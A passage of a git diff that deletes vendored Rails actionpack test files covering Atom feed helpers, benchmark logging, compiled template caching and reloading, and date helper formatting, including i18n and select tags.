-          :instruct => {'target1' => [{ :a => '1', :b => '2' }, { :c => '3', :d => '4' }]}) do |feed|
-          feed.title("My great blog!")
-          feed.updated((@scrolls.first.created_at))
-
-          for scroll in @scrolls
-            feed.entry(scroll) do |entry|
-              entry.title(scroll.title)
-              entry.content(scroll.body, :type => 'html')
-
-              entry.author do |author|
-                author.name("DHH")
-              end
-            end
-          end
-        end
-    EOT
-    FEEDS["feed_with_xhtml_content"] = <<-'EOT'
-        atom_feed do |feed|
-          feed.title("My great blog!")
-          feed.updated((@scrolls.first.created_at))
-
-          for scroll in @scrolls
-            feed.entry(scroll) do |entry|
-              entry.title(scroll.title)
-              entry.summary(:type => 'xhtml') do |xhtml|
-                xhtml.p "before #{scroll.id}"
-                xhtml.p {xhtml << scroll.body}
-                xhtml.p "after #{scroll.id}"
-              end
-              entry.tag!('app:edited', Time.now)
-
-              entry.author do |author|
-                author.name("DHH")
-              end
-            end
-          end
-        end
-    EOT
-    FEEDS["provide_builder"] = <<-'EOT'
-          # we pass in the new_xml to the helper so it doesn't
-          # call anything on the original builder
-          new_xml = Builder::XmlMarkup.new(:target=>'')
-          atom_feed(:xml => new_xml) do |feed|
-            feed.title("My great blog!")
-            feed.updated((@scrolls.first.created_at))
-
-            for scroll in @scrolls
-              feed.entry(scroll) do |entry|
-                entry.title(scroll.title)
-                entry.content(scroll.body, :type => 'html')
-
-                entry.author do |author|
-                  author.name("DHH")
-                end
-              end
-            end
-          end
-    EOT
-  def index
-    @scrolls = [
-      Scroll.new(1, "1", "Hello One", "Something <i>COOL!</i>", Time.utc(2007, 12, 12, 15), Time.utc(2007, 12, 12, 15)),
-      Scroll.new(2, "2", "Hello Two", "Something Boring", Time.utc(2007, 12, 12, 15)),
-    ]
-
-    render :inline => FEEDS[params[:id]], :type => :builder
-  end
-
-  protected
-
-  def rescue_action(e)
-    raise(e)
-  end
-end
-
-class AtomFeedTest < ActionController::TestCase
-  tests ScrollsController
-
-  def setup
-    @request.host = "www.nextangle.com"
-  end
-
-  def test_feed_should_use_default_language_if_none_is_given
-    with_restful_routing(:scrolls) do
-      get :index, :id => "defaults"
-      assert_match %r{xml:lang="en-US"}, @response.body
-    end
-  end
-
-  def test_feed_should_include_two_entries
-    with_restful_routing(:scrolls) do
-      get :index, :id => "defaults"
-      assert_select "entry", 2
-    end
-  end
-
-  def test_entry_should_only_use_published_if_created_at_is_present
-    with_restful_routing(:scrolls) do
-      get :index, :id => "defaults"
-      assert_select "published", 1
-    end
-  end
-
-  def test_providing_builder_to_atom_feed
-    with_restful_routing(:scrolls) do
-      get :index, :id=>"provide_builder"
-      # because we pass in the non-default builder, the content generated by the
-      # helper should go 'nowhere'.  Leaving the response body blank.
-      assert @response.body.blank?
-    end
-  end
-
-  def test_entry_with_prefilled_options_should_use_those_instead_of_querying_the_record
-    with_restful_routing(:scrolls) do
-      get :index, :id => "entry_options"
-
-      assert_select "updated", Time.utc(2007, 1, 1).xmlschema
-      assert_select "updated", Time.utc(2007, 1, 2).xmlschema
-    end
-  end
-
-  def test_self_url_should_default_to_current_request_url
-    with_restful_routing(:scrolls) do
-      get :index, :id => "defaults"
-      assert_select "link[rel=self][href=http://www.nextangle.com/scrolls?id=defaults]"
-    end
-  end
-
-  def test_feed_id_should_be_a_valid_tag
-    with_restful_routing(:scrolls) do
-      get :index, :id => "defaults"
-      assert_select "id", :text => "tag:www.nextangle.com,2008:/scrolls?id=defaults"
-    end
-  end
-
-  def test_entry_id_should_be_a_valid_tag
-    with_restful_routing(:scrolls) do
-      get :index, :id => "defaults"
-      assert_select "entry id", :text => "tag:www.nextangle.com,2008:Scroll/1"
-      assert_select "entry id", :text => "tag:www.nextangle.com,2008:Scroll/2"
-    end
-  end
-
-  def test_feed_should_allow_nested_xml_blocks
-    with_restful_routing(:scrolls) do
-      get :index, :id => "xml_block"
-      assert_select "author name", :text => "DHH"
-    end
-  end
-
-  def test_feed_should_include_atomPub_namespace
-    with_restful_routing(:scrolls) do
-      get :index, :id => "feed_with_atomPub_namespace"
-      assert_match %r{xml:lang="en-US"}, @response.body
-      assert_match %r{xmlns="http://www.w3.org/2005/Atom"}, @response.body
-      assert_match %r{xmlns:app="http://www.w3.org/2007/app"}, @response.body
-    end
-  end
-
-  def test_feed_should_allow_overriding_ids
-    with_restful_routing(:scrolls) do
-      get :index, :id => "feed_with_overridden_ids"
-      assert_select "id", :text => "tag:test.rubyonrails.org,2008:test/"
-      assert_select "entry id", :text => "tag:test.rubyonrails.org,2008:1"
-      assert_select "entry id", :text => "tag:test.rubyonrails.org,2008:2"
-    end
-  end
-
-  def test_feed_xml_processing_instructions
-    with_restful_routing(:scrolls) do
-      get :index, :id => 'feed_with_xml_processing_instructions'
-      assert_match %r{<\?xml-stylesheet [^\?]*type="text/css"}, @response.body
-      assert_match %r{<\?xml-stylesheet [^\?]*href="t.css"}, @response.body
-    end
-  end
-
-  def test_feed_xml_processing_instructions_duplicate_targets
-    with_restful_routing(:scrolls) do
-      get :index, :id => 'feed_with_xml_processing_instructions_duplicate_targets'
-      assert_match %r{<\?target1 (a="1" b="2"|b="2" a="1")\?>}, @response.body
-      assert_match %r{<\?target1 (c="3" d="4"|d="4" c="3")\?>}, @response.body
-    end
-  end
-
-  def test_feed_xhtml
-    with_restful_routing(:scrolls) do
-      get :index, :id => "feed_with_xhtml_content"
-      assert_match %r{xmlns="http://www.w3.org/1999/xhtml"}, @response.body
-      assert_select "summary div p", :text => "Something Boring"
-      assert_select "summary div p", :text => "after 2"
-    end
-  end
-private
-    def with_restful_routing(resources)
-      with_routing do |set|
-        set.draw do |map|
-          map.resources(resources)
-        end
-        yield
-      end
-    end
-end
diff --git a/vendor/rails/actionpack/test/template/benchmark_helper_test.rb b/vendor/rails/actionpack/test/template/benchmark_helper_test.rb
deleted file mode 100644
index ac31fc65..00000000
--- a/vendor/rails/actionpack/test/template/benchmark_helper_test.rb
+++ /dev/null
@@ -1,86 +0,0 @@
-require 'abstract_unit'
-require 'action_view/helpers/benchmark_helper'
-
-class BenchmarkHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::BenchmarkHelper
-
-  def setup
-    super
-    controller.logger = ActiveSupport::BufferedLogger.new(StringIO.new)
-    controller.logger.auto_flushing = false
-  end
-
-  def teardown
-    controller.logger.send(:clear_buffer)
-  end
-
-  def test_without_block
-    assert_raise(LocalJumpError) { benchmark }
-    assert buffer.empty?
-  end
-
-  def test_defaults
-    i_was_run = false
-    benchmark { i_was_run = true }
-    assert i_was_run
-    assert_last_logged
-  end
-
-  def test_with_message
-    i_was_run = false
-    benchmark('test_run') { i_was_run = true }
-    assert i_was_run
-    assert_last_logged 'test_run'
-  end
-
-  def test_with_message_and_deprecated_level
-    i_was_run = false
-
-    assert_deprecated do
-      benchmark('debug_run', :debug) { i_was_run = true }
-    end
-
-    assert i_was_run
-    assert_last_logged 'debug_run'
-  end
-
-  def test_within_level
-    controller.logger.level = ActiveSupport::BufferedLogger::DEBUG
-    benchmark('included_debug_run', :level => :debug) { }
-    assert_last_logged 'included_debug_run'
-  end
-
-  def test_outside_level
-    controller.logger.level = ActiveSupport::BufferedLogger::ERROR
-    benchmark('skipped_debug_run', :level => :debug) { }
-    assert_no_match(/skipped_debug_run/, buffer.last)
-  ensure
-    controller.logger.level = ActiveSupport::BufferedLogger::DEBUG
-  end
-
-  def test_without_silencing
-    benchmark('debug_run', :silence => false) do
-      controller.logger.info "not silenced!"
-    end
-
-    assert_equal 2, buffer.size
-  end
-
-  def test_with_silencing
-    benchmark('debug_run', :silence => true) do
-      controller.logger.info "silenced!"
-    end
-
-    assert_equal 1, buffer.size
-  end
-
-
-  private
-    def buffer
-      controller.logger.send(:buffer)
-    end
-  
-    def assert_last_logged(message = 'Benchmarking')
-      assert_match(/^#{message} \(.*\)$/, buffer.last)
-    end
-end
diff --git a/vendor/rails/actionpack/test/template/compiled_templates_test.rb b/vendor/rails/actionpack/test/template/compiled_templates_test.rb
deleted file mode 100644
index 760f9be5..00000000
--- a/vendor/rails/actionpack/test/template/compiled_templates_test.rb
+++ /dev/null
@@ -1,204 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_models'
-
-class CompiledTemplatesTest < Test::Unit::TestCase
-
-  def setup
-    @explicit_view_paths = nil
-    @compiled_templates = ActionView::Base::CompiledTemplates
-    @compiled_templates.instance_methods.each do |m|
-      @compiled_templates.send(:remove_method, m) if m =~ /^_run_/
-    end
-  end
-
-  def test_template_gets_compiled
-    with_caching(true) do
-      assert_equal 0, @compiled_templates.instance_methods.size
-      assert_equal "Hello world!", render(:file => "test/hello_world.erb")
-      assert_equal 1, @compiled_templates.instance_methods.size
-    end
-  end
-
-  def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
-    with_caching(true) do
-      assert_equal 0, @compiled_templates.instance_methods.size
-      assert_equal "Hello world!", render(:file => "test/hello_world.erb")
-      assert_equal "Hello world!", render(:file => "test/hello_world.erb", :locals => {:foo => "bar"})
-      assert_equal 2, @compiled_templates.instance_methods.size
-    end
-  end
-
-  def test_compiled_template_will_not_be_recompiled_when_rendered_with_identical_local_assigns
-    with_caching(true) do
-      assert_equal 0, @compiled_templates.instance_methods.size
-      assert_equal "Hello world!", render(:file => "test/hello_world.erb")
-      ActionView::Template.any_instance.expects(:compile!).never
-      assert_equal "Hello world!", render(:file => "test/hello_world.erb")
-    end
-  end
-
-  def test_template_changes_are_not_reflected_with_cached_template_loading
-    with_caching(true) do
-      with_reloading(false) do
-        assert_equal "Hello world!", render(:file => "test/hello_world.erb")
-        modify_template "test/hello_world.erb", "Goodbye world!" do
-          assert_equal "Hello world!", render(:file => "test/hello_world.erb")
-        end
-        assert_equal "Hello world!", render(:file => "test/hello_world.erb")
-      end
-    end
-  end
-
-  def test_template_changes_are_reflected_without_cached_template_loading
-    with_caching(true) do
-      with_reloading(true) do
-        assert_equal "Hello world!", render(:file => "test/hello_world.erb")
-        modify_template "test/hello_world.erb", "Goodbye world!" do
-          assert_equal "Goodbye world!", render(:file => "test/hello_world.erb")
-        end
-        assert_equal "Hello world!", render(:file => "test/hello_world.erb")
-      end
-    end
-  end
-
-  def test_template_becomes_missing_if_deleted_without_cached_template_loading
-    with_reloading(true) do
-      assert_equal 'Hello world!', render(:file => 'test/hello_world.erb')
-      delete_template 'test/hello_world.erb' do
-        assert_raise(ActionView::MissingTemplate) { render(:file => 'test/hello_world.erb') }
-      end
-      assert_equal 'Hello world!', render(:file => 'test/hello_world.erb')
-    end
-  end
-
-  def test_swapping_template_handler_is_working_without_cached_template_loading
-    with_reloading(true) do
-      assert_equal 'Hello world!', render(:file => 'test/hello_world')
-      delete_template 'test/hello_world.erb' do
-        rename_template 'test/hello_world_from_rxml.builder', 'test/hello_world.builder' do
-          assert_equal "<html>\n  <p>Hello</p>\n</html>\n", render(:file => 'test/hello_world')
-        end
-      end
-      assert_equal 'Hello world!', render(:file => 'test/hello_world')
-    end
-  end
-
-  def test_adding_localized_template_will_take_precedence_without_cached_template_loading
-    with_reloading(true) do
-      assert_equal 'Hello world!', render(:file => 'test/hello_world')
-      rename_template 'test/hello_world.da.html.erb', 'test/hello_world.en.html.erb' do
-        assert_equal 'Hey verden', render(:file => 'test/hello_world')
-      end
-    end
-  end
-
-  def test_deleting_localized_template_will_fall_back_to_non_localized_template_without_cached_template_loading
-    with_reloading(true) do
-      rename_template 'test/hello_world.da.html.erb', 'test/hello_world.en.html.erb' do
-        assert_equal 'Hey verden', render(:file => 'test/hello_world')
-        delete_template 'test/hello_world.en.html.erb' do
-          assert_equal 'Hello world!', render(:file => 'test/hello_world')
-        end
-        assert_equal 'Hey verden', render(:file => 'test/hello_world')
-      end
-    end
-  end
-
-  def test_parallel_reloadable_view_paths_are_working
-    with_reloading(true) do
-      view_paths_copy = new_reloadable_view_paths
-      assert_equal 'Hello world!', render(:file => 'test/hello_world')
-      with_view_paths(view_paths_copy, new_reloadable_view_paths) do
-        assert_equal 'Hello world!', render(:file => 'test/hello_world')
-      end
-      modify_template 'test/hello_world.erb', 'Goodbye world!' do
-        assert_equal 'Goodbye world!', render(:file => 'test/hello_world')
-        modify_template 'test/hello_world.erb', 'So long, world!' do
-          with_view_paths(view_paths_copy, new_reloadable_view_paths) do
-            assert_equal 'So long, world!', render(:file => 'test/hello_world')
-          end
-          assert_equal 'So long, world!', render(:file => 'test/hello_world')
-        end
-      end
-    end
-  end
-
-  private
-    def render(*args)
-      view_paths = @explicit_view_paths || ActionController::Base.view_paths
-      ActionView::Base.new(view_paths, {}).render(*args)
-    end
-
-    def with_view_paths(*args)
-      args.each do |view_paths|
-        begin
-          @explicit_view_paths = view_paths
-          yield
-        ensure
-          @explicit_view_paths = nil
-        end
-      end
-    end
-
-    def reset_mtime_of(template_name, view_paths_to_use)
-      view_paths_to_use.find_template(template_name).previously_last_modified = 10.seconds.ago unless ActionView::Base.cache_template_loading?
-    end
-
-    def modify_template(template, content, view_paths_to_use = ActionController::Base.view_paths)
-      filename = filename_for(template)
-      old_content = File.read(filename)
-      begin
-        File.open(filename, "wb+") { |f| f.write(content) }
-        reset_mtime_of(template, view_paths_to_use)
-        yield
-      ensure
-        File.open(filename, "wb+") { |f| f.write(old_content) }
-        reset_mtime_of(template, view_paths_to_use)
-      end
-    end
-
-    def filename_for(template)
-      File.join(FIXTURE_LOAD_PATH, template)
-    end
-
-    def rename_template(old_name, new_name)
-      File.rename(filename_for(old_name), filename_for(new_name))
-      yield
-    ensure
-      File.rename(filename_for(new_name), filename_for(old_name))
-    end
-
-    def delete_template(template, &block)
-      rename_template(template, File.join(File.dirname(template), "__#{File.basename(template)}"), &block)
-    end
-
-    def with_caching(perform_caching)
-      old_perform_caching = ActionController::Base.perform_caching
-      begin
-        ActionController::Base.perform_caching = perform_caching
-        yield
-      ensure
-        ActionController::Base.perform_caching = old_perform_caching
-      end
-    end
-
-    def with_reloading(reload_templates, view_paths_owner = ActionController::Base)
-      old_view_paths, old_cache_templates = view_paths_owner.view_paths, ActionView::Base.cache_template_loading
-      begin
-        ActionView::Base.cache_template_loading = !reload_templates
-        view_paths_owner.view_paths = view_paths_for(reload_templates)
-        yield
-      ensure
-        view_paths_owner.view_paths, ActionView::Base.cache_template_loading = old_view_paths, old_cache_templates
-      end
-    end
-
-    def new_reloadable_view_paths
-      ActionView::PathSet.new(CACHED_VIEW_PATHS.map(&:to_s))
-    end
-
-    def view_paths_for(reload_templates)
-      # reloadable paths are cheap to create
-      reload_templates ? new_reloadable_view_paths : CACHED_VIEW_PATHS
-    end
-end
diff --git a/vendor/rails/actionpack/test/template/date_helper_i18n_test.rb b/vendor/rails/actionpack/test/template/date_helper_i18n_test.rb
deleted file mode 100644
index b69a4496..00000000
--- a/vendor/rails/actionpack/test/template/date_helper_i18n_test.rb
+++ /dev/null
@@ -1,121 +0,0 @@
-require 'abstract_unit'
-
-class DateHelperDistanceOfTimeInWordsI18nTests < Test::Unit::TestCase
-  include ActionView::Helpers::DateHelper
-  attr_reader :request
-
-  def setup
-    @from = Time.mktime(2004, 6, 6, 21, 45, 0)
-  end
-
-  # distance_of_time_in_words
-
-  def test_distance_of_time_in_words_calls_i18n
-    { # with include_seconds
-      [2.seconds,  true]  => [:'less_than_x_seconds', 5],
-      [9.seconds,  true]  => [:'less_than_x_seconds', 10],
-      [19.seconds, true]  => [:'less_than_x_seconds', 20],
-      [30.seconds, true]  => [:'half_a_minute',       nil],
-      [59.seconds, true]  => [:'less_than_x_minutes', 1],
-      [60.seconds, true]  => [:'x_minutes',           1],
-
-      # without include_seconds
-      [29.seconds,          false] => [:'less_than_x_minutes', 1],
-      [60.seconds,          false] => [:'x_minutes',           1],
-      [44.minutes,          false] => [:'x_minutes',           44],
-      [61.minutes,          false] => [:'about_x_hours',       1],
-      [24.hours,            false] => [:'x_days',              1],
-      [30.days,             false] => [:'about_x_months',      1],
-      [60.days,             false] => [:'x_months',            2],
-      [1.year,              false] => [:'about_x_years',       1],
-      [3.years + 6.months,  false] => [:'over_x_years',        3],
-      [3.years + 10.months, false] => [:'almost_x_years',      4]
-
-      }.each do |passed, expected|
-      assert_distance_of_time_in_words_translates_key passed, expected
-    end
-  end
-
-  def assert_distance_of_time_in_words_translates_key(passed, expected)
-    diff, include_seconds = *passed
-    key, count = *expected
-    to = @from + diff
-
-    options = {:locale => 'en', :scope => :'datetime.distance_in_words'}
-    options[:count] = count if count
-
-    I18n.expects(:t).with(key, options)
-    distance_of_time_in_words(@from, to, include_seconds, :locale => 'en')
-  end
-
-  def test_distance_of_time_pluralizations
-    { [:'less_than_x_seconds', 1]   => 'less than 1 second',
-      [:'less_than_x_seconds', 2]   => 'less than 2 seconds',
-      [:'less_than_x_minutes', 1]   => 'less than a minute',
-      [:'less_than_x_minutes', 2]   => 'less than 2 minutes',
-      [:'x_minutes',           1]   => '1 minute',
-      [:'x_minutes',           2]   => '2 minutes',
-      [:'about_x_hours',       1]   => 'about 1 hour',
-      [:'about_x_hours',       2]   => 'about 2 hours',
-      [:'x_days',              1]   => '1 day',
-      [:'x_days',              2]   => '2 days',
-      [:'about_x_years',       1]   => 'about 1 year',
-      [:'about_x_years',       2]   => 'about 2 years',
-      [:'over_x_years',        1]   => 'over 1 year',
-      [:'over_x_years',        2]   => 'over 2 years' 
-
-      }.each do |args, expected|
-      key, count = *args
-      assert_equal expected, I18n.t(key, :count => count, :scope => 'datetime.distance_in_words')
-    end
-  end
-end
-
-class DateHelperSelectTagsI18nTests < Test::Unit::TestCase
-  include ActionView::Helpers::DateHelper
-  attr_reader :request
-
-  def setup
-    @prompt_defaults = {:year => 'Year', :month => 'Month', :day => 'Day', :hour => 'Hour', :minute => 'Minute', :second => 'Seconds'}
-
-    I18n.stubs(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
-  end
-
-  # select_month
-
-  def test_select_month_given_use_month_names_option_does_not_translate_monthnames
-    I18n.expects(:translate).never
-    select_month(8, :locale => 'en', :use_month_names => Date::MONTHNAMES)
-  end
-
-  def test_select_month_translates_monthnames
-    I18n.expects(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
-    select_month(8, :locale => 'en')
-  end
-
-  def test_select_month_given_use_short_month_option_translates_abbr_monthnames
-    I18n.expects(:translate).with(:'date.abbr_month_names', :locale => 'en').returns Date::ABBR_MONTHNAMES
-    select_month(8, :locale => 'en', :use_short_month => true)
-  end
-
-  def test_date_or_time_select_translates_prompts
-    @prompt_defaults.each do |key, prompt|
-      I18n.expects(:translate).with(('datetime.prompts.' + key.to_s).to_sym, :locale => 'en').returns prompt
-    end
-
-    I18n.expects(:translate).with(:'date.order', :locale => 'en').returns [:year, :month, :day]
-    datetime_select('post', 'updated_at', :locale => 'en', :include_seconds => true, :prompt => true)
-  end
-
-  # date_or_time_select
-
-  def test_date_or_time_select_given_an_order_options_does_not_translate_order
-    I18n.expects(:translate).never
-    datetime_select('post', 'updated_at', :order => [:year, :month, :day], :locale => 'en')
-  end
-
-  def test_date_or_time_select_given_no_order_options_translates_order
-    I18n.expects(:translate).with(:'date.order', :locale => 'en').returns [:year, :month, :day]
-    datetime_select('post', 'updated_at', :locale => 'en')
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/date_helper_test.rb b/vendor/rails/actionpack/test/template/date_helper_test.rb
deleted file mode 100644
index 9a2d4908..00000000
--- a/vendor/rails/actionpack/test/template/date_helper_test.rb
+++ /dev/null
@@ -1,2603 +0,0 @@
-require 'abstract_unit'
-
-class DateHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::DateHelper
-
-  silence_warnings do
-    Post = Struct.new("Post", :id, :written_on, :updated_at)
-    Post.class_eval do
-      def id
-        123
-      end
-      def id_before_type_cast
-        123
-      end
-      def to_param
-        '123'
-      end
-    end
-  end
-
-  def assert_distance_of_time_in_words(from, to=nil)
-    to ||= from
-
-    # 0..1 with include_seconds
-    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 0.seconds, true)
-    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 4.seconds, true)
-    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 5.seconds, true)
-    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 9.seconds, true)
-    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 10.seconds, true)
-    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 19.seconds, true)
-    assert_equal "half a minute", distance_of_time_in_words(from, to + 20.seconds, true)
-    assert_equal "half a minute", distance_of_time_in_words(from, to + 39.seconds, true)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 40.seconds, true)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 59.seconds, true)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, true)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, true)
-
-    # First case 0..1
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 29.seconds)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 30.seconds)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 1.minutes + 29.seconds)
-
-    # 2..44
-    assert_equal "2 minutes", distance_of_time_in_words(from, to + 1.minutes + 30.seconds)
-    assert_equal "44 minutes", distance_of_time_in_words(from, to + 44.minutes + 29.seconds)
-
-    # 45..89
-    assert_equal "about 1 hour", distance_of_time_in_words(from, to + 44.minutes + 30.seconds)
-    assert_equal "about 1 hour", distance_of_time_in_words(from, to + 89.minutes + 29.seconds)
-
-    # 90..1439
-    assert_equal "about 2 hours", distance_of_time_in_words(from, to + 89.minutes + 30.seconds)
-    assert_equal "about 24 hours", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 29.seconds)
-
-    # 1440..2529
-    assert_equal "1 day", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 30.seconds)
-    assert_equal "1 day", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 29.seconds)
-
-    # 2530..43199
-    assert_equal "2 days", distance_of_time_in_words(from, to + 42.hours + 59.minutes + 30.seconds)
-    assert_equal "3 days", distance_of_time_in_words(from, to + 2.days + 12.hours)
-    assert_equal "30 days", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 29.seconds)
-
-    # 43200..86399
-    assert_equal "about 1 month", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 30.seconds)
-    assert_equal "about 1 month", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 29.seconds)
-
-    # 86400..525599
-    assert_equal "2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 30.seconds)
-    assert_equal "12 months", distance_of_time_in_words(from, to + 1.years - 31.seconds)
-
-    # > 525599
-    assert_equal "about 1 year",    distance_of_time_in_words(from, to + 1.years - 30.seconds)
-    assert_equal "about 1 year",    distance_of_time_in_words(from, to + 1.years + 3.months - 1.day)
-    assert_equal "over 1 year",     distance_of_time_in_words(from, to + 1.years + 6.months)
-
-    assert_equal "almost 2 years",  distance_of_time_in_words(from, to + 2.years - 3.months + 1.day)
-    assert_equal "about 2 years",   distance_of_time_in_words(from, to + 2.years + 3.months - 1.day)
-    assert_equal "over 2 years",    distance_of_time_in_words(from, to + 2.years + 3.months + 1.day)
-    assert_equal "over 2 years",    distance_of_time_in_words(from, to + 2.years + 9.months - 1.day)
-    assert_equal "almost 3 years",  distance_of_time_in_words(from, to + 2.years + 9.months + 1.day)
-
-    assert_equal "almost 5 years",  distance_of_time_in_words(from, to + 5.years - 3.months + 1.day)
-    assert_equal "about 5 years",   distance_of_time_in_words(from, to + 5.years + 3.months - 1.day)
-    assert_equal "over 5 years",    distance_of_time_in_words(from, to + 5.years + 3.months + 1.day)
-    assert_equal "over 5 years",    distance_of_time_in_words(from, to + 5.years + 9.months - 1.day)
-    assert_equal "almost 6 years",  distance_of_time_in_words(from, to + 5.years + 9.months + 1.day)
-
-    assert_equal "almost 10 years", distance_of_time_in_words(from, to + 10.years - 3.months + 1.day)
-    assert_equal "about 10 years",  distance_of_time_in_words(from, to + 10.years + 3.months - 1.day)
-    assert_equal "over 10 years",   distance_of_time_in_words(from, to + 10.years + 3.months + 1.day)
-    assert_equal "over 10 years",   distance_of_time_in_words(from, to + 10.years + 9.months - 1.day)
-    assert_equal "almost 11 years", distance_of_time_in_words(from, to + 10.years + 9.months + 1.day)
-
-    # test to < from
-    assert_equal "about 4 hours", distance_of_time_in_words(from + 4.hours, to)
-    assert_equal "less than 20 seconds", distance_of_time_in_words(from + 19.seconds, to, true)
-  end
-
-  def test_distance_in_words
-    from = Time.mktime(2004, 6, 6, 21, 45, 0)
-    assert_distance_of_time_in_words(from)
-  end
-
-  def test_distance_in_words_with_time_zones
-    from = Time.mktime(2004, 6, 6, 21, 45, 0)
-    assert_distance_of_time_in_words(from.in_time_zone('Alaska'))
-    assert_distance_of_time_in_words(from.in_time_zone('Hawaii'))
-  end
-
-  def test_distance_in_words_with_different_time_zones
-    from = Time.mktime(2004, 6, 6, 21, 45, 0)
-    assert_distance_of_time_in_words(
-      from.in_time_zone('Alaska'),
-      from.in_time_zone('Hawaii')
-    )
-  end
-
-  def test_distance_in_words_with_dates
-    start_date = Date.new 1975, 1, 31
-    end_date = Date.new 1977, 1, 31
-    assert_equal("about 2 years", distance_of_time_in_words(start_date, end_date))
-  end
-
-  def test_distance_in_words_with_integers
-    assert_equal "less than a minute", distance_of_time_in_words(59)
-    assert_equal "about 1 hour", distance_of_time_in_words(60*60)
-    assert_equal "less than a minute", distance_of_time_in_words(0, 59)
-    assert_equal "about 1 hour", distance_of_time_in_words(60*60, 0)
-  end
-
-  def test_time_ago_in_words
-    assert_equal "about 1 year", time_ago_in_words(1.year.ago - 1.day)
-  end
-
-  def test_select_day
-    expected = %(<select id="date_day" name="date[day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16))
-    assert_dom_equal expected, select_day(16)
-  end
-
-  def test_select_day_with_blank
-    expected = %(<select id="date_day" name="date[day]">\n)
-    expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), :include_blank => true)
-    assert_dom_equal expected, select_day(16, :include_blank => true)
-  end
-
-  def test_select_day_nil_with_blank
-    expected = %(<select id="date_day" name="date[day]">\n)
-    expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_day(nil, :include_blank => true)
-  end
-
-  def test_select_day_with_html_options
-    expected = %(<select id="date_day" name="date[day]" class="selector">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
-    expected << "</select>\n"
-
